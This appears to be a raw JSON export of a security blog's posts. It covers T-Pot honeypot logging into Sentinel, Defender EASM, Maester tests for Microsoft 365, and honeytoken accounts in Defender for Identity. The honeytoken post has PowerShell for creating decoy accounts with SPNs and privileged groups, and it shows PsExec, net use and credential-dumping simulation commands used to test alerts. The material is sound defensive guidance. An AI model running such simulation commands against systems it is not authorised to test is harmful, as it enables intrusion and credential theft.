Data Workbook Queries Top Attackers IP:\nKQLcowrie_tpot_CL | where eventid == \u0026#34;cowrie.login.failed\u0026#34; | summarize AttemptCount = count() by src_ip | sort by AttemptCount desc Failed Logins by username:\nKQLcowrie_tpot_CL | where eventid == \u0026#34;cowrie.login.failed\u0026#34; | summarize AttemptCount = count() by username | sort by AttemptCount desc Failed Logins over time:\nKQLcowrie_tpot_CL | where eventid == \u0026#34;cowrie.login.failed\u0026#34; | summarize Count = count() by username, password, src_ip, bin(TimeGenerated, 1h) Adding a Workbook Go to Workbooks in Azure Monitor Create a new workbook, add the queries, visualize with a map for example (needs geolocation API) Save and pin the workbook to the dashboard Optimizing DCR and Sentinel setup Filter out unnecessary logs in DCR to reduce ingestion costs\nSet data retention policies in Log Analytics \u0026gt; Usage and estimated costs to manage storage requirements\nUse Auxiliary logs if possible\nOptimize queries and dashboards by using summary operations to improve performance\nTroubleshooting common issues For connectivity issues with the Azure Monitor Agent, check logs:\ntail -f /var/opt/microsoft/azuremonitoragent/log/azuremonitoragent.log Restart the agent if necessary:\nBashsudo systemctl restart azuremonitoragent Conclusion Integrating T-pot with Microsoft Sentinel using data collection rules provides a highly effective setup for proactive threat intelligence. This guide equips you to deploy T-pot, configure DCR, and create actionable insights within Sentinel, strengthening your organization’s cybersecurity posture.\n","date":"30 December 2024","externalUrl":null,"permalink":"/t-pot-honeypot-integration-with-dcr-sentinel/","section":"All articles","summary":"","title":"Integrating T-pot Honeypot with Microsoft Sentinel using Data Collection Rules (DCR)","type":"posts"},{"content":" Introduction As organizations grow their digital footprint, managing the external attack surface has become critical for reducing risks and improving security posture. Public-facing assets such as domains, APIs, IP addresses, and cloud resources are often the entry points for attackers. Without comprehensive visibility and monitoring, these assets can become vulnerabilities.\nMicrosoft Defender External Attack Surface Management (EASM) provides a robust solution to address these challenges. Using advanced discovery technology, Defender EASM continuously maps your organization’s external infrastructure to identify risks and hidden vulnerabilities. In this guide, we’ll explore the features, prerequisites, step-by-step configuration, and its role in exposure management.\nI blogged about Exposure Management earlier this year and you might have noticed External Attack Surface Management is also part of an organisation exposure (so not only internally).\nExternal Attack Surface Management (EASM) Key features of Microsoft Defender External Attack Surface Management Feature Benefit Comprehensive asset discovery Identifies public-facing assets, including shadow IT and misconfigurations Continuous monitoring Tracks changes in your attack surface in real time Risk prioritization Highlights high-risk vulnerabilities and misconfigurations for immediate action Dashboard insights Provides actionable insights into vulnerabilities, compliance, and risks Integration capabilities Seamlessly integrates with Microsoft Sentinel and other tools Prerequisites Before deploying Microsoft Defender EASM, ensure the following requirements are met:\nRequirement Details Azure subscription An active Azure subscription is required to deploy the EASM resource (billed per asset) User permissions Owner or contributor role in the Azure subscription Supported regions Ensure the selected Azure region supports EASM Deploying the Defender EASM resource Steps: Log into Azure Portal: Azure Portal.\nCreate the EASM resource:\nNavigate to Create a resource Search for “Microsoft Defender External Attack Surface Management” and select it Complete the required fields, including subscription, resource group, and region Review and deploy:\nValidate your settings Click Create to deploy the resource Configuring discovery groups and seeds Discovery groups and seeds are essential for initializing and managing your attack surface discovery.\nTypes of seeds: Domains IP address blocks Hosts Email contacts Autonomous system numbers (ASNs) Whois organizations Steps: Navigate to Inventory (or through Discovery):\nOpen the Defender EASM resource in the Azure Portal Select the Inventory tab Search for already present information about your organization or create a custom policy:\nProvide a name for the group (e.g. Modern Security) Add seeds:\nClick Add seed and specify the type of seed (e.g., domain names, IP ranges) Enter the seed values (e.g., example.com or 192.168.0.0/24) Save your changes Configure exclusions (optional):\nAdd exclusions to prevent specific assets from being included in the discovery process Examples include subsidiaries or unrelated third-party infrastructure Later on, when you created assets and your organisation, you can also go along with Discovery Groups (more more granular control over your assets)\nDiscovering and managing assets After configuring your organisation and seeds, Defender EASM identifies and categorizes assets (this can take up to 72 hours):\nAsset states: Approved inventory: Directly managed assets Dependencies: Third-party assets supporting your infrastructure Monitor only: Relevant but not directly controlled assets Candidate: Requires manual review to determine ownership Requires investigation: Needs further validation based on connection strength Steps: Navigate to the inventory section:\nAccess the Inventory tab in the Defender EASM portal Review assets:\nApprove or reject discovered assets based on relevance and ownership Assign labels to group and organize assets Dashboard integrated in EASM Attack Surface Summary\nPurpose: Provides a high-level overview of the organization’s external attack surface. Features: Key metrics for discovered assets (domains, IPs, services) Snapshot of high-risk vulnerabilities or misconfigurations Trends in attack surface expansion or reduction over time Security Posture\nPurpose: Highlights the security status of external-facing assets Features: Overview of compliance levels Identification of critical security gaps Suggested remediation steps to improve security posture GDPR Compliance\nPurpose: Monitors compliance with the General Data Protection Regulation (GDPR) Features: Detects assets and configurations that might violate GDPR Highlights exposed personal data or non-compliant systems Recommendations for achieving GDPR compliance OWASP Top 10\nPurpose: Tracks vulnerabilities based on the OWASP Top 10 list Features: Identification of web application risks, such as injection or broken access control Asset-specific vulnerability details Risk prioritization to mitigate OWASP-related issues CWE Top 25 Software Weaknesses\nPurpose: Highlights software weaknesses based on the CWE Top 25 list Features: Insights into software flaws that could be exploited Categorization by weakness type (e.g., input validation errors) Recommendations for addressing software vulnerabilities CISA Known Exploits\nPurpose: Focuses on vulnerabilities listed in the CISA Known Exploited Vulnerabilities Catalog Features: Identifies assets impacted by active exploits. Provides context on known exploitation activity. Helps prioritize fixes for vulnerabilities actively targeted by attackers. Integrating with Microsoft Sentinel Integration with Microsoft Sentinel enhances centralized monitoring and threat detection.\nSteps: Set up data connection:\nGo to Data connections in the EASM portal Link to your Sentinel Log Analytics workspace (use your LAW workspace ID + API key you find under settings \u0026gt; agents \u0026gt; primary/secondary key in LAW) Verify integration:\nKQL Queries for EASM Data in Sentinel:\nQuery Purpose Correct KQL Query Description List all assets by typeEasmAsset_CL | summarize count() by AssetType_sProvides a summary of discovered assets categorized by their type (e.g., domains, IPs). View asset bannersEasmAssetBanner_CL | project AssetName_s, BannerText_s, IP_sRetrieves banner information for identified assets, including IP and banner text. Identify newly discovered domainsEasmDomainAsset_CL | where TimeGenerated \u0026gt; ago(24h) | project DomainName_s, DiscoveryPath_sLists newly discovered domains in the last 24 hours. Monitor SSL certificate issuesEasmSslCertAsset_CL | where SslCertStatus_s contains \"expired\" | project AssetName_s, SslCertDetails_sRetrieves findings for expired or problematic SSL certificates. Open port detectionsEasmHostAsset_CL | where Description_s contains \"Open Port\" | project HostName_s, PortDetails_sLists hosts with open ports and their details. Filter by OWASP vulnerabilitiesEasmPageAsset_CL | where VulnerabilityCategory_s contains \"OWASP\" | project PageUrl_s, Severity_sDisplays web pages with vulnerabilities categorized under OWASP Top 10. Discover risky assetsEasmRisk_CL | where Severity_s == \"High\" | project AssetName_s, RiskDescription_sHighlights assets flagged with high-risk issues. Find risky IP addressesEasmIpAddressAsset_CL | where RiskLevel_s == \"Critical\" | project IpAddress_s, RiskDetails_sLists critical-risk IP addresses and associated risk details. Identify assets with web componentsEasmAssetWebComponent_CL | project AssetName_s, ComponentName_s, Version_sShows web components (e.g., CMS, frameworks) detected on assets. Detect potential contact leaksEasmContactAsset_CL | project ContactEmail_s, DiscoverySource_sRetrieves contact email addresses exposed on public-facing assets. Track SSL certificate lifecycleEasmSslCertAsset_CL | summarize count() by SslCertStatus_sSummarizes SSL certificate statuses (e.g., expired, expiring soon). Benefits: Unified monitoring across platforms Automated responses through Sentinel playbooks Testing the configuration Testing ensures your EASM setup is functioning correctly\nSimulations: Open port scanning: Use tools like Nmap to identify open ports and validate alerts SSL certificate testing: Use expired or invalid certificates to test alert triggers Extra resources Make sure to check out the EASM github page, because there are useful resources there which might handy to use and integrate:\nhttps://github.com/Azure/MDEASM-Solutions\nThe role of EASM in exposure management Microsoft Defender External Attack Surface Management (EASM) is not just a tool for asset discovery. It is a critical enabler for effective exposure management. Exposure management is about identifying, prioritizing, and mitigating risks across your entire attack surface, including internal and external assets. While traditional tools focus on internal vulnerabilities, EASM ensures no external-facing risk goes unnoticed.\nHow EASM complements exposure management Identifying shadow IT: EASM excels in discovering unmanaged or unknown assets that often go unnoticed, such as forgotten subdomains, unsecured APIs, or legacy IPs Continuous monitoring: By providing real-time insights, EASM enables organizations to detect and respond to changes in their attack surface, such as the exposure of new ports or the deployment of insecure services Risk prioritization: Not all vulnerabilities are equal. EASM helps prioritize risks based on severity, such as misconfigurations that allow unrestricted public access or assets running unsupported software versions Integration with broader tools: EASM’s ability to feed data into Microsoft Sentinel ensures its findings are part of a unified threat detection and response strategy. This integration is essential for correlating external risks with internal vulnerabilities Why EASM data matters in exposure management Organizations leveraging EASM data within their exposure management framework benefit from:\nProactive risk reduction: Addressing vulnerabilities before they are exploited by attackers Improved visibility: Ensuring a complete view of all assets, both managed and unmanaged Streamlined compliance: Demonstrating control over external assets for frameworks such as ISO 27001 or GDPR Enhanced threat intelligence: Correlating EASM findings with threat trends, enabling informed decisions on remediation By integrating EASM with internal tools and processes, organizations can achieve a 360-degree view of their exposure, aligning their security posture with a proactive, defense-in-depth approach.\nConclusion Microsoft Defender External Attack Surface Management is an indispensable tool for modern organizations aiming to reduce their attack surface and strengthen their cybersecurity posture. Its ability to identify, monitor, and manage external-facing assets ensures no vulnerabilities are left unaddressed. By integrating EASM into a broader exposure management strategy, organizations benefit from:\nComprehensive visibility: A clear picture of all external-facing assets, enabling informed decision-making Actionable insights: Prioritized remediation efforts that address the most critical risks first Seamless integration: Unified data streams into Microsoft Sentinel, enhancing incident response and overall security operations Incorporating EASM into your cybersecurity framework not only mitigates external risks but also complements internal risk management practices, creating a cohesive, proactive defense strategy. By addressing both external and internal vulnerabilities, you can ensure a resilient security posture that evolves with the ever-changing threat landscape.\nLeverage Microsoft Defender External Attack Surface Management to protect what attackers target most: your external assets. With its advanced capabilities and integration potential, EASM is not just a tool. It’s a cornerstone of effective exposure management.\n","date":"20 November 2024","externalUrl":null,"permalink":"/microsoft-external-attack-surface-management/","section":"All articles","summary":"","title":"Microsoft Defender External Attack Surface Management (EASM)","type":"posts"},{"content":"","date":"16 October 2024","externalUrl":null,"permalink":"/compliance/","section":"All topics","summary":"","title":"Compliance","type":"categories"},{"content":" Introduction In today’s digital environment, security and compliance are vital for organizations to protect their assets and meet regulatory standards. While traditional frameworks like CIS Controls offer a solid foundation, they often lack the flexibility and specificity needed for dynamic, modern threats.\nMaester is an open-source PowerShell-based test automation framework designed to help monitor and maintain the security configuration of Microsoft 365 environments. It provides automated testing, customizable tests, and integration with DevOps pipelines for continuous monitoring.\nThis guide will cover high over aspects from installation and configuration to integration with DevOps workflows, custom test creation, alerting options, and a breakdown of its policy tests. By the end, you’ll see why Maester is an invaluable tool for security professionals seeking to elevate their organization’s security posture.\nWhat is Maester and why use it? Maester is a versatile, automated security assessment and compliance tool for Microsoft 365 environments. Built on PowerShell with the Pester testing framework, enables organizations to enforce security policies and can continuously monitor compliance. With comprehensive reporting, DevOps integrations, and customizable tests, Maester ensures that your organization maintains a proactive stance on security.\nSource: Maester.dev How it works Maester follows a structured process to gather, analyze, and report security data:\nData Collection: Gathers information from your Microsoft 365 environment, such as configurations, policies, and user settings. Policy verification: Runs extensive tests against best practices and predefined security standards. Detailed reporting: Generates comprehensive reports with insights into security posture, categorized by severity. Continuous monitoring: Offers automated scans on a scheduled basis via DevOps integration. Real-time alerts: Provides configurable alerts via email, Slack, or Teams to notify your team of critical findings instantly. Source: Maester.dev Prerequisites and requirements Before deploying Maester, ensure that your environment meets the following requirements:\nRequirement Details Operating System Windows Operating System PowerShell Version Requires PowerShell 7.2 or later Microsoft 365 Access Necessary permissions to access and manage your Microsoft 365 tenant Azure Subscription Optional, for integration with Azure DevOps or Azure Automation These prerequisites ensure that Maester can operate effectively within your environment.\nInstallation process To install Maester and its dependencies, follow these steps:\nInstall the Pester Module: PowerShell Install-Module Pester -SkipPublisherCheck -Force -Scope CurrentUser Note: The -SkipPublisherCheck parameter is used to bypass the publisher check.\nInstall the Maester Module: PowerShell Install-Module Maester -Scope CurrentUser Set up the test directory and install Maester Tests: Bash md maester-tests cd maester-tests Install-MaesterTests This creates a directory named maester-tests, navigates into it, and installs the Maester test suite.\nConnect to your Microsoft 365 Tenant: PowerShell Connect-Maester This command initiates a sign-in process to your Microsoft 365 tenant.\nRun the Maester tests: PowerShell Invoke-Maester This executes the installed tests against your tenant.\nOptional Modules for additional tests:\nMaester includes optional tests, such as those from the Cybersecurity and Infrastructure Security Agency (CISA), which require additional modules:\nAzure Module: PowerShell Install-Module Az -Scope CurrentUser Exchange Online Management Module: PowerShell Install-Module ExchangeOnlineManagement -Scope CurrentUser After installing these modules, connect to the respective services:\nPowerShellConnect-Maester -Service All This command prompts you to sign in to Azure, Exchange Online, and other services as needed.\nFor detailed information, refer to the Maester Installation Guide and/or see below key commands.\nKey commands Below is a summary of the most commonly used commands in Maester for installation, configuration, test execution, and troubleshooting:\nCommand Description Connect-Maester Connects to your Microsoft 365 tenant, initiating the authentication process. Invoke-Maester Runs all Maester tests in the current directory against your connected tenant. Invoke-Maester -Tags \u0026quot;\u0026lt;Tag\u0026gt;\u0026quot; Runs tests filtered by specific tags (e.g., \u0026quot;Compliance\u0026quot;, \u0026quot;Security\u0026quot;). Invoke-Maester -Test \u0026quot;\u0026lt;TestName\u0026gt;\u0026quot; Runs a specific test by name. Export-MaesterReport Exports test results to an HTML or JSON report for sharing and review. Update-Maester Updates the Maester module to the latest version. Update-MaesterTests Updates the test suite to include the latest tests and configurations. Get-MaesterTests Lists all available tests installed in the current directory. Install-Module Az Installs the Azure module, required for certain Azure-related tests. Install-Module ExchangeOnlineManagement Installs the Exchange Online Management module for tests involving Exchange configurations. Connect-Maester -Service All Connects to all relevant services (e.g., Azure AD, Exchange Online) for comprehensive testing. Examples of using commands Run all tests with default configuration: PowerShell Invoke-Maester Generate a detailed HTML report: PowerShell $results = Invoke-Maester $results | Export-MaesterReport -Format HTML -Path .\\TestReport.html Update Maester Tests: PowerShell Update-MaesterTests Tips for using commands Filtering tests: Use -Tags or -Test parameters with Invoke-Maester to focus on specific areas like compliance or security. Exporting results: Always use Export-MaesterReport to generate shareable reports in formats like HTML or JSON. Staying up to date: Regularly run Update-Maester and Update-MaesterTests to ensure you’re using the latest features and test suites. Overview of the core tests and policies Maester’s extensive suite of tests covers essential security areas. Here’s a breakdown of key tests and policies:\nAuthentication methods Authentication checks focus on ensuring secure user authentication mechanisms are in place to prevent unauthorized access.\nFIDO2 security keys: Verifies if FIDO2 keys are enforced for login, ensuring passwordless authentication methods are in use. It checks if self-service key registration is restricted to prevent unauthorized devices from being added and ensures proper attestation is required during registration to validate device authenticity. Microsoft Authenticator: Examines settings to confirm advanced security features are enabled. This includes: Number matching to mitigate push notification attacks. Application context to help users recognize legitimate login prompts. Displaying geographic information to provide additional context during authentication attempts. Temporary access pass: Ensures temporary access passes are configured for one-time, time-limited use. This is useful for onboarding users without a traditional password. Authorization and permissions These checks validate the organization’s default permissions, ensuring guests and users are granted minimal access by default.\nDefault guest permissions: Assesses whether guest users are restricted from accessing sensitive resources, ensuring compliance with the principle of least privilege. Risk-based admin consent: Ensures policies are in place to require step-up consent for high-risk scenarios, adding an extra layer of protection when users approve application permissions. Self-service policies: Verifies configurations that allow or restrict users from performing self-service operations, such as registering security keys or managing roles. Password rules Checks here ensure that strong password policies are enforced to protect against credential compromise.\nPassword protection: Validates the use of custom or default banned password lists to prevent weak or predictable passwords. Checks smart lockout thresholds to reduce brute-force attempts. Expiration policies: Verifies whether passwords have a defined expiration interval to limit exposure to compromised credentials. Ensures policies require users to change passwords upon first use, enhancing security during onboarding. Conditional access policies Conditional access checks enforce secure access to resources by applying contextual rules.\nDevice compliance: Verifies whether policies enforce that only compliant devices (e.g., with encryption, antivirus, and updated OS) can access organizational resources. Legacy authentication: Ensures that legacy protocols (like POP and IMAP) are blocked, as these do not support modern authentication methods, making them more vulnerable. MFA enforcement: Confirms that multi-factor authentication (MFA) is mandatory for all users, including guests. Checks if MFA is required for risky sign-ins, such as those originating from untrusted locations or devices. Named location policies: Validates restrictions on access based on geographic locations, ensuring that only users from approved regions can log in. Privileged access management These checks ensure that administrative roles and permissions follow best practices.\nRole assignments: Confirms that least-privilege principles are enforced, ensuring roles are assigned only as needed. Validates that privileged roles are not permanently active, reducing the risk of privilege escalation. Alerts for privileged role activation: Verifies whether notifications are configured for privileged role activations to alert administrators of potential misuse. Privileged identity management (PIM): Ensures that PIM is configured and active, providing just-in-time access and additional auditing capabilities for sensitive roles. Email security (Exchange Online) Email-related checks focus on securing communications and preventing spoofing or unauthorized access.\nSPF, DKIM, and DMARC: Validates configurations for Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) to protect against email spoofing and phishing. External sender warnings: Ensures warning banners are displayed for emails originating from external domains, helping users identify potential phishing attempts. Email forwarding: Verifies that automatic forwarding to external domains is blocked to prevent sensitive data from being inadvertently shared. Consent and app management These checks assess how permissions and consent workflows are managed for applications in the tenant.\nAdmin consent policies: Ensures policies require admin approval for third-party applications requesting sensitive permissions, reducing the risk of unauthorized app access. App consent reviews: Validates whether periodic reviews of app consent workflows are performed to detect and revoke unnecessary or risky permissions. Risk management Risk-based checks evaluate the organization’s ability to detect and respond to suspicious activities.\nSign-in risk policies: Validates whether conditional access policies address risky user sign-ins, such as those from untrusted locations or devices. User risk policies: Checks if thresholds are set for triggering risk-based actions, such as password resets or account lockouts, to mitigate threats. Microsoft Entra security These checks focus on enforcing security best practices within Microsoft Entra (formerly Azure AD).\nBlocking legacy protocols: Ensures legacy authentication protocols are blocked, as these are common attack vectors. Identity protection policies: Verifies the implementation of Identity Protection policies to manage and mitigate risks for users and roles with elevated privileges. Interpreting Maester’s output Maester generates comprehensive reports, categorizing issues by severity:\nPass: Configuration meets the requirements\nFail: Configuration violates the defined policy\nReports are available in JSON and CSV formats, making it easy to export.\nReal-Time alerting with Email, Slack, and Microsoft Teams Maester offers flexible alerting options, allowing security teams to stay informed of critical issues as soon as they’re detected. Configuring alerts ensures that any significant findings are communicated instantly, facilitating rapid response.\nEmail alerts: Set up email notifications for critical findings, delivered directly to your inbox. Slack integration: Configure Slack alerts to notify a specific channel, enabling collaborative responses. Microsoft Teams: For Teams users, configure alerts to deliver notifications to a designated security channel. These alerting options help you keep your team in the loop, enabling real-time, collaborative incident response.\nIntegrating with DevOps pipelines Maester integrates with DevOps tools to make security an integral part of the CI/CD pipeline.\nAzure DevOps integration Create an Azure DevOps project: Set up a dedicated project for Maester tests. Import Maester Tests: Clone the Maester Tests repository into Azure DevOps. Configure pipelines: Set up an Azure pipeline to automate Maester tests on a schedule or based on specific triggers (e.g., configuration changes). Refer to the Azure DevOps integration documentation for detailed setup instructions.\nGitHub Actions integration Create a GitHub repository: Host Maester tests in a repository. Clone the Maester Tests: Copy the Maester Tests repository to GitHub. Set up workflows: Configure GitHub Actions to run Maester tests on schedule or in response to events (e.g., pushes, pull requests). For setup instructions, see the GitHub Actions integration documentation.\nWriting custom tests in Maester Custom tests extend Maester’s functionality, allowing you to enforce unique security policies.\nCreate a custom test file: Add a new .Tests.ps1 file in the Custom directory. Write the test using pester: Define tests using the Pester framework. For example, to check if a specific security group exists: PowerShell Describe \u0026#34;Security Group Validation\u0026#34; { It \u0026#34;Verifies the \u0026#39;Admins\u0026#39; group exists\u0026#34; { Get-AzureADGroup -Filter \u0026#34;DisplayName eq \u0026#39;Admins\u0026#39;\u0026#34; | Should -Not -BeNullOrEmpty } } These custom tests provide flexibility to adapt Maester to your organization’s specific security requirements.\nConclusion Maester is a comprehensive tool for security compliance and vulnerability management in Microsoft 365 environments. Its extensive test library, customization, seamless DevOps integration, and flexible alerting options make it an essential part of any modern security strategy.\nWith real-time alerts delivered via email, Slack, or Microsoft Teams, Maester keeps security teams informed, enabling rapid response to critical issues. Whether for routine audits, real-time vulnerability management, or custom policy enforcement, Maester empowers your organization to stay proactive and resilient in today’s complex cybersecurity landscape.\n","date":"16 October 2024","externalUrl":null,"permalink":"/maester-swiss-army-knife-m365-security/","section":"All articles","summary":"","title":"Maester – Swiss army knife for M365 security testing","type":"posts"},{"content":" Introduction to Honeytoken Accounts in Microsoft Defender for Identity (MDI) Microsoft Defender for Identity provides organizations with an effective way to detect and deter identity-based attacks through the use of honeytoken accounts. Honeytokens are decoy accounts, configured to look valuable to attackers, which trigger alerts whenever they’re accessed without authorization. This proactive defense strategy helps organizations identify potential breaches early, enabling rapid response to suspicious activity.\nBy leveraging these accounts in security teams can monitor lateral movement attempts, credential harvesting, and other suspicious behavior within their Active Directory environments. Honeytoken accounts are essential to a layered defense approach, offering high-value insights into potential attack paths and improving an organization’s overall security posture.\nBenefits of Honeytoken Accounts in MDI Implementing honeytoken accounts offers several security advantages:\nEarly detection of unauthorized access: Honeytokens are designed to alert security teams at the first sign of an attack, allowing for a quick and effective response. Enhanced threat visibility: Honeytoken alerts provide insights into attacker tactics, such as lateral movement and privilege escalation, enabling better threat analysis. Reduced false positives: Since honeytokens are unused by legitimate users, alerts associated with these accounts are high-fidelity, reducing false positives and enabling faster action. These benefits make it a valuable component in securing identity-based assets\nPrerequisites and licensing To deploy this solution with Microsoft Defender for Identity, ensure your organization meets the prerequisites and licensing requirements:\nRequirement Licensing requirement Microsoft Defender for Identity Microsoft 365 E5 or E5 Security Microsoft Sentinel Integration Azure Subscription Active Directory Environment Required for honeytoken account setup Supported requirements for the deployment:\nMicrosoft 365 E5 or E5 Security License: Required for access to MDI’s functionality Active Directory or Hybrid Identity setup: Configuring tokens requires AD or hybrid identity support Microsoft Sentinel Integration: Optional but recommended to centralize alert monitoring Meeting these prerequisites ensures that honeytokens are fully supported and effectively monitored\nStrategic placement and naming of accounts The solution works best when strategically configured:\nRepurpose inactive accounts: Use existing, unused (stale) accounts to enhance realism by giving the accounts a history within AD Enticing names: Assign names that look valuable to attackers, such as “Temp Admin” or “Back Office” Group placement for visibility: Add honeytokens to (fake) sensitive groups like “Remote Desktop Users” to increase their visibility to attackers Assign Service Principal Names (SPNs): Assign SPNs to honeytokens, making them targets for Kerberos-based attacks, such as Pass-the-Ticket Plant credentials on shared resources: Place honeytoken credentials in realistic-looking files on file shares or SharePoint to attract attackers during internal reconnaissance and trigger early alerts. Properly configuration is essential to successfully attracting and detecting malicious access attempts.\nCreating accounts for Microsoft Defender for Identity Scenario 1: Service Account with SPN (on-premises AD, non-synced) This scenario creates a fake service account with a realistic SPN, simulating a common target for attackers attempting Kerberoasting or LDAP reconnaissance.\nStep 1: Create the AD account\nPowerShellNew-ADUser ` -Name \u0026#34;svc_backup\u0026#34; ` -SamAccountName \u0026#34;svc_backup\u0026#34; ` -UserPrincipalName \u0026#34;svc_backup@contoso.local\u0026#34; ` -AccountPassword (ConvertTo-SecureString \u0026#34;VeryStrongPassword!123\u0026#34; -AsPlainText -Force) ` -Enabled $true ` -PasswordNeverExpires $true ` -CannotChangePassword $true ` -Path \u0026#34;OU=NotSynced,DC=contoso,DC=local\u0026#34; Step 2: Restrict the account\nPowerShellSet-ADUser -Identity \u0026#34;svc_backup\u0026#34; -LogonWorkstations \u0026#34;\u0026#34; Step 3: Assign fake SPNs\nsetspn -S MSSQL/fake-database01.contoso.local contoso\\svc_backupsetspn -S HTTP/fake-webapp.contoso.local contoso\\svc_backup Step 4: Add to permissive-looking groups\nPowerShell$groups = @(\u0026#34;Remote Desktop Users\u0026#34;, \u0026#34;Backup Operators\u0026#34;)$user = \u0026#34;svc_backup\u0026#34;foreach ($group in $groups) { if (-not (Get-ADGroupMember -Identity $group -Recursive | Where-Object { $_.SamAccountName -eq $user })) { Add-ADGroupMember -Identity $group -Members $user }} Scenario 2: Legacy or stale-looking acccount (on-premises AD, non-synced) This scenario leverages an old or unused account, renamed to appear legitimate, and left visible in AD to catch unauthorized access or enumeration.\nStep 1: Identify an unused or stale account\nYou can locate unused accounts with PowerShell:\nSearch-ADAccount -AccountInactive -UsersOnly -TimeSpan 180.00:00:00 Step 2: Rename the account\nChoose a generic name that reflects legacy usage:\nPowerShellRename-ADObject -Identity \u0026#34;CN=John.Doe,CN=Users,DC=contoso,DC=local\u0026#34; -NewName \u0026#34;Back Office\u0026#34;Set-ADUser -Identity \u0026#34;BackOffice\u0026#34; -SamAccountName \u0026#34;Back Office\u0026#34; -UserPrincipalName \u0026#34;BackOffice@contoso.local\u0026#34; Or create a new one, depending on your environment:\nPowerShellNew-ADUser -Name \u0026#34;Temp Admin\u0026#34; -SamAccountName \u0026#34;TempAdmin\u0026#34; -UserPrincipalName \u0026#34;TempAdmin@contoso.local\u0026#34; -AccountPassword (ConvertTo-SecureString \u0026#34;YetAnotherStrongPass#2024\u0026#34; -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true -CannotChangePassword $true -Path \u0026#34;OU=NotSynced,DC=contoso,DC=local\u0026#34; Step 3: (Optional) Add to permissive-looking groups\nPowerShellAdd-ADGroupMember -Identity \u0026#34;Help Desk\u0026#34; -Members BackOffice Setting up accounts in MDI Configuration Steps Access Defender for Identity settings:\nGo to Microsoft 365 Defender \u0026gt; Identity \u0026gt; Settings Use the button Tag users to tag the above created users Strategic placement of Honeytoken credentials Creating and tagging honeytoken accounts is only part of an effective deception strategy. To increase the likelihood of detection, organizations should intentionally plant fake credentials in locations attackers are likely to explore: such as file shares, SharePoint, and network drives.\nThese planted credentials act as bait during internal reconnaissance and privilege escalation attempts.\nRecommended locations File servers and network shares\nPlace fake credential files on accessible shares that mimic sensitive or forgotten data repositories:\n\\\\fileserver\\IT\\old_credentials.txt \\\\fileserver\\Finance\\VPN_Access.xlsx \\\\nas01\\Archive\\admin_creds.docx Use realistic formats and filenames, such as:\nYAMLUsername: svc_backup@contoso.local Password: P@ssw0rd1234! SharePoint document libraries\nUpload decoy files to shared SharePoint folders that appear internal or technical in nature:\nHR_Accounts_Export.xlsx Support_Logins_March.docx Infrastructure_Passwords_Archive.zip Make sure the files are readable but isolated from legitimate workflows. Limit indexing and sharing where possible to reduce noise.\nMapped drives\nMapped drives often appear during lateral movement and are browsed manually or with tools. Place credentials in deep folder paths like:\nS:\\Projects\\Legacy\\Support\\credentials.txt R:\\InternalDocs\\Infra\\Old_DB_Logins.docx The goal is to make the data visible to intruders who gain file-level access, while ensuring it’s meaningless and unused by legitimate users.\nConfiguring monitoring in MDI and Sentinel Native alerting in MDI Once the accounts are registered in Microsoft Defender for Identity, the platform automatically generates alerts when the account is:\nQueried via LDAP or SAM-R Used for authentication Targeted by a Kerberos TGS request (Kerberoasting) Modified or added to groups These alerts are built-in, preclassified by Microsoft, and do not require any custom rule creation.\nConnect MDI to Microsoft Sentinel Use the Microsoft Defender for Identity data connector in Sentinel Alerts from MDI are ingested automatically through the Microsoft 365 Defender integration Sample KQL query: view all Honeytoken alerts KQLkqlKopiërenBewerkenSecurityAlert | where ProductName == \u0026#34;Azure Advanced Threat Protection\u0026#34; | where AlertName contains \u0026#34;Honeytoken\u0026#34; | project TimeGenerated, AlertName, CompromisedEntity, Entities, AlertSeverity, Description This query surfaces all alerts triggered specifically by above criteria\nTools and techniques for testing effectiveness Event IDs for monitoring (manually monitoring) Event ID Description Source 4624 Successful account logon Security Log 4768 Kerberos authentication (TGT request) Security Log 4776 NTLM authentication attempt Security Log 4648 Logon attempt using explicit credentials Security Log 4625 Failed logon attempt Security Log Using Microsoft Sysinternals Tools for Testing Process Monitor:\nFilter Process Monitor to capture “Event Category = Logon/Logoff” and “Username = TempAdmin” for honeytoken activity tracking. PsExec:\nUse PsExec to simulate remote access:\npowershell PsExec.exe \\\\RemoteComputer -u contoso.local\\TempAdmin -p \u0026lt;password\u0026gt; cmd Detailed testing and simulation Guide Atomic Red Team for credential theft simulation:\nRun T1555.003 (Windows Credential Dumping) from Atomic Red Team to simulate credential theft aimed at honeytoken accounts. Invoke-Adversary for lateral movement simulation:\nSimulate lateral movement using Invoke-Adversary:\npowershell Invoke-Adversary -Command \u0026quot;net use \\\\\\\\TargetMachine /USER:Domain\\HoneytokenAccount\u0026quot; Combining with Endpoint Deception (MDE) Earlier I’ve blogged about Microsoft Defender for Endpoint (MDE) Endpoint Deception, the nice thing is you could also combine MDE Deception (custom) with MDI HoneyAccounts.\nWhile Microsoft Defender for Identity help detecting identity-based attacks like Kerberoasting or LDAP enumeration, many attackers continue their activity on endpoints. That’s where Microsoft Defender for Endpoint (MDE) deception comes in.\nBy enabling deception in MDE, fake credentials, files, and network shares are silently deployed on endpoints. If an attacker interacts with these lures, an alert is triggered, often before they reach critical systems.\nTo increase detection coverage place your honeytoken credentials (e.g., svc_backup@contoso.local) in fake .txt or .xlsx files. Combined, MDI and MDE deception provide layered, early detection across both identity and endpoint layers, all correlated automatically in Microsoft 365 Defender or Sentinel.\nBest Practices for deploying Honeytokens in MDI Rotate Honeytoken Accounts regularly: Regularly update or replace honeytokens to prevent attackers from identifying patterns. Review alert thresholds: Fine-tune alert settings to avoid unnecessary notifications, ensuring that honeytoken alerts are highly actionable. Centralize monitoring in Sentinel: Use Microsoft Sentinel to centralize alerts and streamline incident management workflows. Extra resources https://techcommunity.microsoft.com/blog/microsoftthreatprotectionblog/deceptive-defense-best-practices-for-identity-based-honeytokens-in-microsoft-def/3851641\nhttps://techcommunity.microsoft.com/blog/microsoftsecurityexperts/defender-experts%E2%80%99-recommendations-for-impactful-security-posture-management/4040147\nhttps://techcommunity.microsoft.com/blog/microsoftsecurityexperts/follow-the-breadcrumbs-with-microsoft-ir–mdi-working-together-to-fight-identity/4089623\nConclusion Deploying honeytokens within Microsoft Defender for Identity strengthens identity protection, helping organizations detect and respond to identity-based threats early. By strategically configuring, monitoring, and testing honeytokens, organizations can act on high-fidelity alerts and reinforce overall identity security.\n","date":"1 October 2024","externalUrl":null,"permalink":"/honeytoken-microsoft-defender-for-identity/","section":"All articles","summary":"","title":"Using Honeytoken Accounts in Microsoft Defender for Identity (MDI) 